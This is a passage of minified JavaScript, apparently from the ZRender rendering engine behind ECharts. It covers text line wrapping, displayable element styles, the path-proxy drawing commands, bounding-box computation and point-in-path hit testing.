+`);for(var g=ho(c),_=0;_<u.length;_++){var v=u[_],y=new Jc;if(y.styleName=i,y.text=v,y.isLineHolder=!v&&!a,typeof o.width==`number`?y.width=o.width:y.width=d?d[_]:xo(g,v),!_&&!l){var b=(s[s.length-1]||(s[0]=new Yc)).tokens,x=b.length;x===1&&b[0].isLineHolder?b[0]=y:(v||!x||a)&&b.push(y)}else s.push(new Yc([y]))}}function $c(e){var t=e.charCodeAt(0);return t>=32&&t<=591||t>=880&&t<=4351||t>=4608&&t<=5119||t>=7680&&t<=8303}var el=ct(`,&?/;] `.split(``),function(e,t){return e[t]=!0,e},{});function tl(e){return $c(e)?!!el[e]:!0}function nl(e,t,n,r,i){for(var a=[],o=[],s=``,c=``,l=0,u=0,d=ho(t),f=0;f<e.length;f++){var p=e.charAt(f);if(p===`
+`){c&&(s+=c,u+=l),a.push(s),o.push(u),s=``,c=``,l=0,u=0;continue}var m=bo(d,p.charCodeAt(0)),h=r?!1:!tl(p);if(a.length?u+m>n:i+u+m>n){u?(s||c)&&(h?(s||(s=c,c=``,l=0,u=l),a.push(s),o.push(u-l),c+=p,l+=m,s=``,u=l):(c&&(s+=c,c=``,l=0),a.push(s),o.push(u),s=p,u=m)):h?(a.push(c),o.push(l),c=p,l=m):(a.push(p),o.push(m));continue}u+=m,h?(c+=p,l+=m):(c&&(s+=c,c=``,l=0),s+=p)}return c&&(s+=c),s&&(a.push(s),o.push(u)),a.length===1&&(u+=i),{accumWidth:u,lines:a,linesWidths:o}}function rl(e,t,n,r,i,a){if(e.baseX=n,e.baseY=r,e.outerWidth=e.outerHeight=null,t){var o=t.width*2,s=t.height*2;J.set(il,wo(n,o,i),To(r,s,a),o,s),J.intersect(t,il,null,al);var c=al.outIntersectRect;e.outerWidth=c.width,e.outerHeight=c.height,e.baseX=wo(c.x,c.width,i,!0),e.baseY=To(c.y,c.height,a,!0)}}var il=new J(0,0,0,0),al={outIntersectRect:{},clamp:!0};function ol(e){return e==null?e=``:e+=``}function sl(e){var t=ol(e.text),n=e.font;return cl(e,xo(ho(n),t),Eo(n),null)}function cl(e,t,n,r){var i=new J(wo(e.x||0,t,e.textAlign),To(e.y||0,n,e.textBaseline),t,n),a=r??(ll(e)?e.lineWidth:0);return a>0&&(i.x-=a/2,i.y-=a/2,i.width+=a,i.height+=a),i}function ll(e){var t=e.stroke;return t!=null&&t!==`none`&&e.lineWidth>0}var ul=`__zr_style_`+Math.round(Math.random()*10),dl={shadowBlur:0,shadowOffsetX:0,shadowOffsetY:0,shadowColor:`#000`,opacity:1,blend:`source-over`},fl={style:{shadowBlur:!0,shadowOffsetX:!0,shadowOffsetY:!0,shadowColor:!0,opacity:!0}};dl[ul]=!0;var pl=[`z`,`z2`,`invisible`],ml=[`invisible`],hl=function(e){N(t,e);function t(t){return e.call(this,t)||this}return t.prototype._init=function(t){for(var n=dt(t),r=0;r<n.length;r++){var i=n[r];i===`style`?this.useStyle(t[i]):e.prototype.attrKV.call(this,i,t[i])}this.style||this.useStyle({})},t.prototype.beforeBrush=function(){},t.prototype.afterBrush=function(){},t.prototype.innerBeforeBrush=function(){},t.prototype.innerAfterBrush=function(){},t.prototype.shouldBePainted=function(e,t,n,r){var i=this.transform;if(this.ignore||this.invisible||this.style.opacity===0||this.culling&&vl(this,e,t)||i&&!i[0]&&!i[3])return!1;if(n&&this.__clipPaths&&this.__clipPaths.length){for(var a=0;a<this.__clipPaths.length;++a)if(this.__clipPaths[a].isZeroArea())return!1}if(r&&this.parent)for(var o=this.parent;o;){if(o.ignore)return!1;o=o.parent}return!0},t.prototype.contain=function(e,t){return this.rectContain(e,t)},t.prototype.traverse=function(e,t){e.call(t,this)},t.prototype.rectContain=function(e,t){var n=this.transformCoordToLocal(e,t);return this.getBoundingRect().contain(n[0],n[1])},t.prototype.getPaintRect=function(){var e=this._paintRect;if(!this._paintRect||this.__dirty){var t=this.transform,n=this.getBoundingRect(),r=this.style,i=r.shadowBlur||0,a=r.shadowOffsetX||0,o=r.shadowOffsetY||0;e=this._paintRect||=new J(0,0,0,0),t?J.applyTransform(e,n,t):e.copy(n),(i||a||o)&&(e.width+=i*2+Math.abs(a),e.height+=i*2+Math.abs(o),e.x=Math.min(e.x,e.x+a-i),e.y=Math.min(e.y,e.y+o-i));var s=this.dirtyRectTolerance;e.isZero()||(e.x=Math.floor(e.x-s),e.y=Math.floor(e.y-s),e.width=Math.ceil(e.width+1+s*2),e.height=Math.ceil(e.height+1+s*2))}return e},t.prototype.setPrevPaintRect=function(e){e?(this._prevPaintRect=this._prevPaintRect||new J(0,0,0,0),this._prevPaintRect.copy(e)):this._prevPaintRect=null},t.prototype.getPrevPaintRect=function(){return this._prevPaintRect},t.prototype.animateStyle=function(e){return this.animate(`style`,e)},t.prototype.updateDuringAnimation=function(e){e===`style`?this.dirtyStyle():this.markRedraw()},t.prototype.attrKV=function(t,n){t===`style`?this.style?this.setStyle(n):this.useStyle(n):e.prototype.attrKV.call(this,t,n)},t.prototype.setStyle=function(e,t){return typeof e==`string`?this.style[e]=t:F(this.style,e),this.dirtyStyle(),this},t.prototype.dirtyStyle=function(e){e||this.markRedraw(),this.__dirty|=2,this._rect&&=null},t.prototype.dirty=function(){this.dirtyStyle()},t.prototype.styleChanged=function(){return!!(this.__dirty&2)},t.prototype.styleUpdated=function(){this.__dirty&=-3},t.prototype.createStyle=function(e){return Lt(dl,e)},t.prototype.useStyle=function(e){e[ul]||(e=this.createStyle(e)),this.__inHover?this.__hoverStyle=e:this.style=e,this.dirtyStyle()},t.prototype.isStyleObject=function(e){return e[ul]},t.prototype._innerSaveToNormal=function(t){e.prototype._innerSaveToNormal.call(this,t);var n=this._normalState;t.style&&!n.style&&(n.style=this._mergeStyle(this.createStyle(),this.style)),this._savePrimaryToNormal(t,n,pl)},t.prototype._applyStateObj=function(t,n,r,i,a,o){e.prototype._applyStateObj.call(this,t,n,r,i,a,o);var s=!(n&&i),c;if(n&&n.style?a?i?c=n.style:(c=this._mergeStyle(this.createStyle(),r.style),this._mergeStyle(c,n.style)):(c=this._mergeStyle(this.createStyle(),i?this.style:r.style),this._mergeStyle(c,n.style)):s&&(c=r.style),c)if(a){var l=this.style;if(this.style=this.createStyle(s?{}:l),s)for(var u=dt(l),d=0;d<u.length;d++){var f=u[d];f in c&&(c[f]=c[f],this.style[f]=l[f])}for(var p=dt(c),d=0;d<p.length;d++){var f=p[d];this.style[f]=this.style[f]}this._transitionState(t,{style:c},o,this.getAnimationStyleProps())}else this.useStyle(c);for(var m=this.__inHover?ml:pl,d=0;d<m.length;d++){var f=m[d];n&&n[f]!=null?this[f]=n[f]:s&&r[f]!=null&&(this[f]=r[f])}},t.prototype._mergeStates=function(t){for(var n=e.prototype._mergeStates.call(this,t),r,i=0;i<t.length;i++){var a=t[i];a.style&&(r||={},this._mergeStyle(r,a.style))}return r&&(n.style=r),n},t.prototype._mergeStyle=function(e,t){return F(e,t),e},t.prototype.getAnimationStyleProps=function(){return fl},t.initDefaultProps=(function(){var e=t.prototype;e.type=`displayable`,e.invisible=!1,e.z=0,e.z2=0,e.zlevel=0,e.culling=!1,e.cursor=`pointer`,e.rectHover=!1,e.incremental=!1,e._rect=null,e.dirtyRectTolerance=0,e.__dirty=3})(),t}(Fo),gl=new J(0,0,0,0),_l=new J(0,0,0,0);function vl(e,t,n){return gl.copy(e.getBoundingRect()),e.transform&&gl.applyTransform(e.transform),_l.width=t,_l.height=n,!gl.intersect(_l)}var yl=Math.min,bl=Math.max,xl=Math.sin,Sl=Math.cos,Cl=Math.PI*2,wl=Vt(),Tl=Vt(),El=Vt();function Dl(e,t,n){if(e.length!==0){for(var r=e[0],i=r[0],a=r[0],o=r[1],s=r[1],c=1;c<e.length;c++)r=e[c],i=yl(i,r[0]),a=bl(a,r[0]),o=yl(o,r[1]),s=bl(s,r[1]);t[0]=i,t[1]=o,n[0]=a,n[1]=s}}function Ol(e,t,n,r,i,a){i[0]=yl(e,n),i[1]=yl(t,r),a[0]=bl(e,n),a[1]=bl(t,r)}var kl=[],Al=[];function jl(e,t,n,r,i,a,o,s,c,l){var u=$r,d=Xr,f=u(e,n,i,o,kl);c[0]=1/0,c[1]=1/0,l[0]=-1/0,l[1]=-1/0;for(var p=0;p<f;p++){var m=d(e,n,i,o,kl[p]);c[0]=yl(m,c[0]),l[0]=bl(m,l[0])}f=u(t,r,a,s,Al);for(var p=0;p<f;p++){var h=d(t,r,a,s,Al[p]);c[1]=yl(h,c[1]),l[1]=bl(h,l[1])}c[0]=yl(e,c[0]),l[0]=bl(e,l[0]),c[0]=yl(o,c[0]),l[0]=bl(o,l[0]),c[1]=yl(t,c[1]),l[1]=bl(t,l[1]),c[1]=yl(s,c[1]),l[1]=bl(s,l[1])}function Ml(e,t,n,r,i,a,o,s){var c=oi,l=ri,u=bl(yl(c(e,n,i),1),0),d=bl(yl(c(t,r,a),1),0),f=l(e,n,i,u),p=l(t,r,a,d);o[0]=yl(e,i,f),o[1]=yl(t,a,p),s[0]=bl(e,i,f),s[1]=bl(t,a,p)}function Nl(e,t,n,r,i,a,o,s,c){var l=an,u=on,d=Math.abs(i-a);if(d%Cl<1e-4&&d>1e-4){s[0]=e-n,s[1]=t-r,c[0]=e+n,c[1]=t+r;return}if(wl[0]=Sl(i)*n+e,wl[1]=xl(i)*r+t,Tl[0]=Sl(a)*n+e,Tl[1]=xl(a)*r+t,l(s,wl,Tl),u(c,wl,Tl),i%=Cl,i<0&&(i+=Cl),a%=Cl,a<0&&(a+=Cl),i>a&&!o?a+=Cl:i<a&&o&&(i+=Cl),o){var f=a;a=i,i=f}for(var p=0;p<a;p+=Math.PI/2)p>i&&(El[0]=Sl(p)*n+e,El[1]=xl(p)*r+t,l(s,El,s),u(c,El,c))}var Pl={M:1,L:2,C:3,Q:4,A:5,Z:6,R:7},Fl=[],Il=[],Ll=[],Rl=[],zl=[],Bl=[],Vl=Math.min,Hl=Math.max,Ul=Math.cos,Wl=Math.sin,Gl=Math.abs,Kl=Math.PI,ql=Kl*2,Jl=typeof Float32Array<`u`,Yl=[];function Xl(e){return Math.round(e/Kl*1e8)/1e8%2*Kl}function Zl(e,t){var n=Xl(e[0]);n<0&&(n+=ql);var r=n-e[0],i=e[1];i+=r,!t&&i-n>=ql?i=n+ql:t&&n-i>=ql?i=n-ql:!t&&n>i?i=n+(ql-Xl(n-i)):t&&n<i&&(i=n-(ql-Xl(i-n))),e[0]=n,e[1]=i}var Ql=function(){function e(e){this.dpr=1,this._xi=0,this._yi=0,this._x0=0,this._y0=0,this._len=0,e&&(this._saveData=!1),this._saveData&&(this.data=[])}return e.prototype.increaseVersion=function(){this._version++},e.prototype.getVersion=function(){return this._version},e.prototype.setScale=function(e,t,n){n||=0,n>0&&(this._ux=Gl(n/$a/e)||0,this._uy=Gl(n/$a/t)||0)},e.prototype.setDPR=function(e){this.dpr=e},e.prototype.setContext=function(e){this._ctx=e},e.prototype.getContext=function(){return this._ctx},e.prototype.beginPath=function(){return this._ctx&&this._ctx.beginPath(),this.reset(),this},e.prototype.reset=function(){this._saveData&&(this._len=0),this._pathSegLen&&(this._pathSegLen=null,this._pathLen=0),this._version++},e.prototype.moveTo=function(e,t){return this._drawPendingPt(),this.addData(Pl.M,e,t),this._ctx&&this._ctx.moveTo(e,t),this._x0=e,this._y0=t,this._xi=e,this._yi=t,this},e.prototype.lineTo=function(e,t){var n=Gl(e-this._xi),r=Gl(t-this._yi),i=n>this._ux||r>this._uy;if(this.addData(Pl.L,e,t),this._ctx&&i&&this._ctx.lineTo(e,t),i)this._xi=e,this._yi=t,this._pendingPtDist=0;else{var a=n*n+r*r;a>this._pendingPtDist&&(this._pendingPtX=e,this._pendingPtY=t,this._pendingPtDist=a)}return this},e.prototype.bezierCurveTo=function(e,t,n,r,i,a){return this._drawPendingPt(),this.addData(Pl.C,e,t,n,r,i,a),this._ctx&&this._ctx.bezierCurveTo(e,t,n,r,i,a),this._xi=i,this._yi=a,this},e.prototype.quadraticCurveTo=function(e,t,n,r){return this._drawPendingPt(),this.addData(Pl.Q,e,t,n,r),this._ctx&&this._ctx.quadraticCurveTo(e,t,n,r),this._xi=n,this._yi=r,this},e.prototype.arc=function(e,t,n,r,i,a){this._drawPendingPt(),Yl[0]=r,Yl[1]=i,Zl(Yl,a),r=Yl[0],i=Yl[1];var o=i-r;return this.addData(Pl.A,e,t,n,n,r,o,0,+!a),this._ctx&&this._ctx.arc(e,t,n,r,i,a),this._xi=Ul(i)*n+e,this._yi=Wl(i)*n+t,this},e.prototype.arcTo=function(e,t,n,r,i){return this._drawPendingPt(),this._ctx&&this._ctx.arcTo(e,t,n,r,i),this},e.prototype.rect=function(e,t,n,r){return this._drawPendingPt(),this._ctx&&this._ctx.rect(e,t,n,r),this.addData(Pl.R,e,t,n,r),this},e.prototype.closePath=function(){this._drawPendingPt(),this.addData(Pl.Z);var e=this._ctx,t=this._x0,n=this._y0;return e&&e.closePath(),this._xi=t,this._yi=n,this},e.prototype.fill=function(e){e&&e.fill(),this.toStatic()},e.prototype.stroke=function(e){e&&e.stroke(),this.toStatic()},e.prototype.len=function(){return this._len},e.prototype.setData=function(e){if(this._saveData){var t=e.length;!(this.data&&this.data.length===t)&&Jl&&(this.data=new Float32Array(t));for(var n=0;n<t;n++)this.data[n]=e[n];this._len=t}},e.prototype.appendPath=function(e){if(this._saveData){e instanceof Array||(e=[e]);for(var t=e.length,n=0,r=this._len,i=0;i<t;i++)n+=e[i].len();var a=this.data;if(Jl&&(a instanceof Float32Array||!a)&&(this.data=new Float32Array(r+n),r>0&&a))for(var o=0;o<r;o++)this.data[o]=a[o];for(var i=0;i<t;i++)for(var s=e[i].data,o=0;o<s.length;o++)this.data[r++]=s[o];this._len=r}},e.prototype.addData=function(e,t,n,r,i,a,o,s,c){if(this._saveData){var l=this.data;this._len+arguments.length>l.length&&(this._expandData(),l=this.data);for(var u=0;u<arguments.length;u++)l[this._len++]=arguments[u]}},e.prototype._drawPendingPt=function(){this._pendingPtDist>0&&(this._ctx&&this._ctx.lineTo(this._pendingPtX,this._pendingPtY),this._pendingPtDist=0)},e.prototype._expandData=function(){if(!(this.data instanceof Array)){for(var e=[],t=0;t<this._len;t++)e[t]=this.data[t];this.data=e}},e.prototype.toStatic=function(){if(this._saveData){this._drawPendingPt();var e=this.data;e instanceof Array&&(e.length=this._len,Jl&&this._len>11&&(this.data=new Float32Array(e)))}},e.prototype.getBoundingRect=function(){Ll[0]=Ll[1]=zl[0]=zl[1]=Number.MAX_VALUE,Rl[0]=Rl[1]=Bl[0]=Bl[1]=-Number.MAX_VALUE;var e=this.data,t=0,n=0,r=0,i=0,a;for(a=0;a<this._len;){var o=e[a++],s=a===1;switch(s&&(t=e[a],n=e[a+1],r=t,i=n),o){case Pl.M:t=r=e[a++],n=i=e[a++],zl[0]=r,zl[1]=i,Bl[0]=r,Bl[1]=i;break;case Pl.L:Ol(t,n,e[a],e[a+1],zl,Bl),t=e[a++],n=e[a++];break;case Pl.C:jl(t,n,e[a++],e[a++],e[a++],e[a++],e[a],e[a+1],zl,Bl),t=e[a++],n=e[a++];break;case Pl.Q:Ml(t,n,e[a++],e[a++],e[a],e[a+1],zl,Bl),t=e[a++],n=e[a++];break;case Pl.A:var c=e[a++],l=e[a++],u=e[a++],d=e[a++],f=e[a++],p=e[a++]+f;a+=1;var m=!e[a++];s&&(r=Ul(f)*u+c,i=Wl(f)*d+l),Nl(c,l,u,d,f,p,m,zl,Bl),t=Ul(p)*u+c,n=Wl(p)*d+l;break;case Pl.R:r=t=e[a++],i=n=e[a++];var h=e[a++],g=e[a++];Ol(r,i,r+h,i+g,zl,Bl);break;case Pl.Z:t=r,n=i;break}an(Ll,Ll,zl),on(Rl,Rl,Bl)}return a===0&&(Ll[0]=Ll[1]=Rl[0]=Rl[1]=0),new J(Ll[0],Ll[1],Rl[0]-Ll[0],Rl[1]-Ll[1])},e.prototype._calculateLength=function(){var e=this.data,t=this._len,n=this._ux,r=this._uy,i=0,a=0,o=0,s=0;this._pathSegLen||=[];for(var c=this._pathSegLen,l=0,u=0,d=0;d<t;){var f=e[d++],p=d===1;p&&(i=e[d],a=e[d+1],o=i,s=a);var m=-1;switch(f){case Pl.M:i=o=e[d++],a=s=e[d++];break;case Pl.L:var h=e[d++],g=e[d++],_=h-i,v=g-a;(Gl(_)>n||Gl(v)>r||d===t-1)&&(m=Math.sqrt(_*_+v*v),i=h,a=g);break;case Pl.C:var y=e[d++],b=e[d++],h=e[d++],g=e[d++],x=e[d++],S=e[d++];m=ni(i,a,y,b,h,g,x,S,10),i=x,a=S;break;case Pl.Q:var y=e[d++],b=e[d++],h=e[d++],g=e[d++];m=li(i,a,y,b,h,g,10),i=h,a=g;break;case Pl.A:var C=e[d++],w=e[d++],T=e[d++],E=e[d++],D=e[d++],O=e[d++],k=O+D;d+=1,p&&(o=Ul(D)*T+C,s=Wl(D)*E+w),m=Hl(T,E)*Vl(ql,Math.abs(O)),i=Ul(k)*T+C,a=Wl(k)*E+w;break;case Pl.R:o=i=e[d++],s=a=e[d++];var A=e[d++],j=e[d++];m=A*2+j*2;break;case Pl.Z:var _=o-i,v=s-a;m=Math.sqrt(_*_+v*v),i=o,a=s;break}m>=0&&(c[u++]=m,l+=m)}return this._pathLen=l,l},e.prototype.rebuildPath=function(e,t){var n=this.data,r=this._ux,i=this._uy,a=this._len,o,s,c,l,u,d,f=t<1,p,m,h=0,g=0,_,v=0,y,b;if(!(f&&(this._pathSegLen||this._calculateLength(),p=this._pathSegLen,m=this._pathLen,_=t*m,!_)))lo:for(var x=0;x<a;){var S=n[x++],C=x===1;switch(C&&(c=n[x],l=n[x+1],o=c,s=l),S!==Pl.L&&v>0&&(e.lineTo(y,b),v=0),S){case Pl.M:o=c=n[x++],s=l=n[x++],e.moveTo(c,l);break;case Pl.L:u=n[x++],d=n[x++];var w=Gl(u-c),T=Gl(d-l);if(w>r||T>i){if(f){var E=p[g++];if(h+E>_){var D=(_-h)/E;e.lineTo(c*(1-D)+u*D,l*(1-D)+d*D);break lo}h+=E}e.lineTo(u,d),c=u,l=d,v=0}else{var O=w*w+T*T;O>v&&(y=u,b=d,v=O)}break;case Pl.C:var k=n[x++],A=n[x++],j=n[x++],ee=n[x++],te=n[x++],M=n[x++];if(f){var E=p[g++];if(h+E>_){var D=(_-h)/E;ei(c,k,j,te,D,Fl),ei(l,A,ee,M,D,Il),e.bezierCurveTo(Fl[1],Il[1],Fl[2],Il[2],Fl[3],Il[3]);break lo}h+=E}e.bezierCurveTo(k,A,j,ee,te,M),c=te,l=M;break;case Pl.Q:var k=n[x++],A=n[x++],j=n[x++],ee=n[x++];if(f){var E=p[g++];if(h+E>_){var D=(_-h)/E;si(c,k,j,D,Fl),si(l,A,ee,D,Il),e.quadraticCurveTo(Fl[1],Il[1],Fl[2],Il[2]);break lo}h+=E}e.quadraticCurveTo(k,A,j,ee),c=j,l=ee;break;case Pl.A:var ne=n[x++],re=n[x++],ie=n[x++],ae=n[x++],oe=n[x++],se=n[x++],ce=n[x++],le=!n[x++],ue=ie>ae?ie:ae,de=Gl(ie-ae)>.001,fe=oe+se,pe=!1;if(f){var E=p[g++];h+E>_&&(fe=oe+se*(_-h)/E,pe=!0),h+=E}if(de&&e.ellipse?e.ellipse(ne,re,ie,ae,ce,oe,fe,le):e.arc(ne,re,ue,oe,fe,le),pe)break lo;C&&(o=Ul(oe)*ie+ne,s=Wl(oe)*ae+re),c=Ul(fe)*ie+ne,l=Wl(fe)*ae+re;break;case Pl.R:o=c=n[x],s=l=n[x+1],u=n[x++],d=n[x++];var me=n[x++],he=n[x++];if(f){var E=p[g++];if(h+E>_){var ge=_-h;e.moveTo(u,d),e.lineTo(u+Vl(ge,me),d),ge-=me,ge>0&&e.lineTo(u+me,d+Vl(ge,he)),ge-=he,ge>0&&e.lineTo(u+Hl(me-ge,0),d+he),ge-=me,ge>0&&e.lineTo(u,d+Hl(he-ge,0));break lo}h+=E}e.rect(u,d,me,he);break;case Pl.Z:if(f){var E=p[g++];if(h+E>_){var D=(_-h)/E;e.lineTo(c*(1-D)+o*D,l*(1-D)+s*D);break lo}h+=E}e.closePath(),c=o,l=s}}},e.prototype.clone=function(){var t=new e,n=this.data;return t.data=n.slice?n.slice():Array.prototype.slice.call(n),t._len=this._len,t},e.prototype.canSave=function(){return!!this._saveData},e.CMD=Pl,e.initDefaultProps=(function(){var t=e.prototype;t._saveData=!0,t._ux=0,t._uy=0,t._pendingPtDist=0,t._version=0})(),e}();function $l(e,t,n,r,i,a,o){if(i===0)return!1;var s=i,c=0,l=e;if(o>t+s&&o>r+s||o<t-s&&o<r-s||a>e+s&&a>n+s||a<e-s&&a<n-s)return!1;if(e!==n)c=(t-r)/(e-n),l=(e*r-n*t)/(e-n);else return Math.abs(a-e)<=s/2;var u=c*a-o+l;return u*u/(c*c+1)<=s/2*s/2}function eu(e,t,n,r,i,a,o,s,c,l,u){if(c===0)return!1;var d=c;return u>t+d&&u>r+d&&u>a+d&&u>s+d||u<t-d&&u<r-d&&u<a-d&&u<s-d||l>e+d&&l>n+d&&l>i+d&&l>o+d||l<e-d&&l<n-d&&l<i-d&&l<o-d?!1:ti(e,t,n,r,i,a,o,s,l,u,null)<=d/2}function tu(e,t,n,r,i,a,o,s,c){if(o===0)return!1;var l=o;return c>t+l&&c>r+l&&c>a+l||c<t-l&&c<r-l&&c<a-l||s>e+l&&s>n+l&&s>i+l||s<e-l&&s<n-l&&s<i-l?!1:ci(e,t,n,r,i,a,s,c,null)<=l/2}var nu=Math.PI*2;function ru(e){return e%=nu,e<0&&(e+=nu),e}var iu=Math.PI*2;function au(e,t,n,r,i,a,o,s,c){if(o===0)return!1;var l=o;s-=e,c-=t;var u=Math.sqrt(s*s+c*c);if(u-l>n||u+l<n)return!1;if(Math.abs(r-i)%iu<1e-4)return!0;if(a){var d=r;r=ru(i),i=ru(d)}else r=ru(r),i=ru(i);r>i&&(i+=iu);var f=Math.atan2(c,s);return f<0&&(f+=iu),f>=r&&f<=i||f+iu>=r&&f+iu<=i}function ou(e,t,n,r,i,a){if(a>t&&a>r||a<t&&a<r||r===t)return 0;var o=(a-t)/(r-t),s=r<t?1:-1;(o===1||o===0)&&(s=r<t?.5:-.5);var c=o*(n-e)+e;return c===i?1/0:c>i?s:0}var su=Ql.CMD,cu=Math.PI*2,lu=1e-4;function uu(e,t){return Math.abs(e-t)<lu}var du=[-1,-1,-1],fu=[-1,-1];function pu(){var e=fu[0];fu[0]=fu[1],fu[1]=e}function mu(e,t,n,r,i,a,o,s,c,l){if(l>t&&l>r&&l>a&&l>s||l<t&&l<r&&l<a&&l<s)return 0;var u=Qr(t,r,a,s,l,du);if(u===0)return 0;for(var d=0,f=-1,p=void 0,m=void 0,h=0;h<u;h++){var g=du[h],_=g===0||g===1?.5:1;Xr(e,n,i,o,g)<c||(f<0&&(f=$r(t,r,a,s,fu),fu[1]<fu[0]&&f>1&&pu(),p=Xr(t,r,a,s,fu[0]),f>1&&(m=Xr(t,r,a,s,fu[1]))),f===2?g<fu[0]?d+=p<t?_:-_:g<fu[1]?d+=m<p?_:-_:d+=s<m?_:-_:g<fu[0]?d+=p<t?_:-_:d+=s<p?_:-_)}return d}function hu(e,t,n,r,i,a,o,s){if(s>t&&s>r&&s>a||s<t&&s<r&&s<a)return 0;var c=ai(t,r,a,s,du);if(c===0)return 0;var l=oi(t,r,a);if(l>=0&&l<=1){for(var u=0,d=ri(t,r,a,l),f=0;f<c;f++){var p=du[f]===0||du[f]===1?.5:1,m=ri(e,n,i,du[f]);m<o||(du[f]<l?u+=d<t?p:-p:u+=a<d?p:-p)}return u}else{var p=du[0]===0||du[0]===1?.5:1,m=ri(e,n,i,du[0]);return m<o?0:a<t?p:-p}}function gu(e,t,n,r,i,a,o,s){if(s-=t,s>n||s<-n)return 0;var c=Math.sqrt(n*n-s*s);du[0]=-c,du[1]=c;var l=Math.abs(r-i);if(l<1e-4)return 0;if(l>=cu-1e-4){r=0,i=cu;var u=a?1:-1;return o>=du[0]+e&&o<=du[1]+e?u:0}if(r>i){var d=r;r=i,i=d}r<0&&(r+=cu,i+=cu);for(var f=0,p=0;p<2;p++){var m=du[p];if(m+e>o){var h=Math.atan2(s,m),u=a?1:-1;h<0&&(h=cu+h),(h>=r&&h<=i||h+cu>=r&&h+cu<=i)&&(h>Math.PI/2&&h<Math.PI*1.5&&(u=-u),f+=u)}}return f}function _u(e,t,n,r,i){for(var a=e.data,o=e.len(),s=0,c=0,l=0,u=0,d=0,f,p,m=0;m<o;){var h=a[m++],g=m===1;switch(h===su.M&&m>1&&(n||(s+=ou(c,l,u,d,r,i))),g&&(c=a[m],l=a[m+1],u=c,d=l),h){case su.M:u=a[m++],d=a[m++],c=u,l=d;break;case su.L:if(n){if($l(c,l,a[m],a[m+1],t,r,i))return!0}else s+=ou(c,l,a[m],a[m+1],r,i)||0;c=a[m++],l=a[m++];break;case su.C:if(n){if(eu(c,l,a[m++],a[m++],a[m++],a[m++],a[m],a[m+1],t,r,i))return!0}else s+=mu(c,l,a[m++],a[m++],a[m++],a[m++],a[m],a[m+1],r,i)||0;c=a[m++],l=a[m++];break;case su.Q:if(n){if(tu(c,l,a[m++],a[m++],a[m],a[m+1],t,r,i))return!0}else s+=hu(c,l,a[m++],a[m++],a[m],a[m+1],r,i)||0;c=a[m++],l=a[m++];break;case su.A:var _=a[m++],v=a[m++],y=a[m++],b=a[m++],x=a[m++],S=a[m++];m+=1;var C=!!(1-a[m++]);f=Math.cos(x)*y+_,p=Math.sin(x)*b+v,g?(u=f,d=p):s+=ou(c,l,f,p,r,i);var w=(r-_)*b/y+_;if(n){if(au(_,v,b,x,x+S,C,t,w,i))return!0}else s+=gu(_,v,b,x,x+S,C,w,i);c=Math.cos(x+S)*y+_,l=Math.sin(x+S)*b+v;break;case su.R:u=c=a[m++],d=l=a[m++];var T=a[m++],E=a[m++];if(f=u+T,p=d+E,n){if($l(u,d,f,d,t,r,i)||$l(f,d,f,p,t,r,i)||$l(f,p,u,p,t,r,i)||$l(u,p,u,d,t,r,i))return!0}else s+=ou(f,d,f,p,r,i),s+=ou(u,p,u,d,r,i);break;case su.Z:if(n){if($l(c,l,u,d,t,r,i))return!0}else s+=ou(c,l,u,d,r,i);c=u,l=d;break}}return!n&&!uu(l,d)&&(s+=ou(c,l,u,d,r,i)||0),s!==0}function vu(e,t,n){return _u(e,0,!1,t,n)}function yu(e,t,n,r){return _u(e,t,!0,n,r)}var bu=I({fill:`#000`,stroke:null,strokePercent:1,fillOpacity:1,strokeOpacity:1,lineDashOffset:0,lineWidth:1,lineCap:`butt`,miterLimit:10,strokeNoScale:!1,strokeFirst:!1},dl),xu={style:I({fill:!0,stroke:!0,strokePercent:!0,fillOpacity:!0,strokeOpacity:!0,lineDashOffset:!0,lineWidth:!0,miterLimit:!0},fl.style)},Su=po.concat([`invisible`,`culling`,`z`,`z2`,`zlevel`,`parent`]),Cu=function(e){N(t,e);function t(t){return e.call(this,t)||this}return t.prototype.update=function(){var n=this;e.prototype.update.call(this);var r=this.style;if(r.decal){var i=this._decalEl=this._decalEl||new t;i.buildPath===t.prototype.buildPath&&(i.buildPath=function(e){n.buildPath(e,n.shape)}),i.silent=!0;var a=i.style;for(var o in r)a[o]!==r[o]&&(a[o]=r[o]);a.fill=r.fill?r.decal:null,a.decal=null,a.shadowColor=null,r.strokeFirst&&(a.stroke=null);for(var s=0;s<Su.length;++s)i[Su[s]]=this[Su[s]];i.__dirty|=1}else this._decalEl&&=null},t.prototype.getDecalElement=function(){return this._decalEl},t.prototype._init=function(t){var n=dt(t);this.shape=this.getDefaultShape();var r=this.getDefaultStyle();r&&this.useStyle(r);for(var i=0;i<n.length;i++){var a=n[i],o=t[a];a===`style`?this.style?F(this.style,o):this.useStyle(o):a===`shape`?F(this.shape,o):e.prototype.attrKV.call(this,a,o)}this.style||this.useStyle({})},t.prototype.getDefaultStyle=function(){return null},t.prototype.getDefaultShape=function(){return{}},t.prototype.canBeInsideText=function(){return this.hasFill()},t.prototype.getInsideTextFill=function(){var e=this.style.fill;if(e!==`none`){if(H(e)){var t=Ri(e,0);return t>.5?to:t>.2?ro:no}else if(e)return no}return to},t.prototype.getInsideTextStroke=function(e){var t=this.style.fill;if(H(t)){var n=this.__zr;if(!!(n&&n.isDarkMode())==Ri(e,0)<.4)return t}},t.prototype.buildPath=function(e,t,n){},t.prototype.pathUpdated=function(){this.__dirty&=-5},t.prototype.getUpdatedPathProxy=function(e){return!this.path&&this.createPathProxy(),this.path.beginPath(),this.buildPath(this.path,this.shape,e),this.path},t.prototype.createPathProxy=function(){this.path=new Ql(!1)},t.prototype.hasStroke=function(){var e=this.style,t=e.stroke;return!(t==null||t===`none`||!(e.lineWidth>0))},t.prototype.hasFill=function(){var e=this.style.fill;return e!=null&&e!==`none`},t.prototype.getBoundingRect=function(){var e=this._rect,t=this.style,n=!e;if(n){var r=!1;this.path||(r=!0,this.createPathProxy());var i=this.path;(r||this.__dirty&4)&&(i.beginPath(),this.buildPath(i,this.shape,!1),this.pathUpdated()),e=i.getBoundingRect()}if(this._rect=e,this.hasStroke()&&this.path&&this.path.len()>0){var a=this._rectStroke||=e.clone();if(this.__dirty||n){a.copy(e);var o=t.strokeNoScale?this.getLineScale():1,s=t.lineWidth;if(!this.hasFill()){var c=this.strokeContainThreshold;s=Math.max(s,c??4)}o>1e-10&&(a.width+=s/o,a.height+=s/o,a.x-=s/o/2,a.y-=s/o/2)}return a}return e},t.prototype.contain=function(e,t){var n=this.transformCoordToLocal(e,t),r=this.getBoundingRect(),i=this.style;if(e=n[0],t=n[1],r.contain(e,t)){var a=this.path;if(this.hasStroke()){var 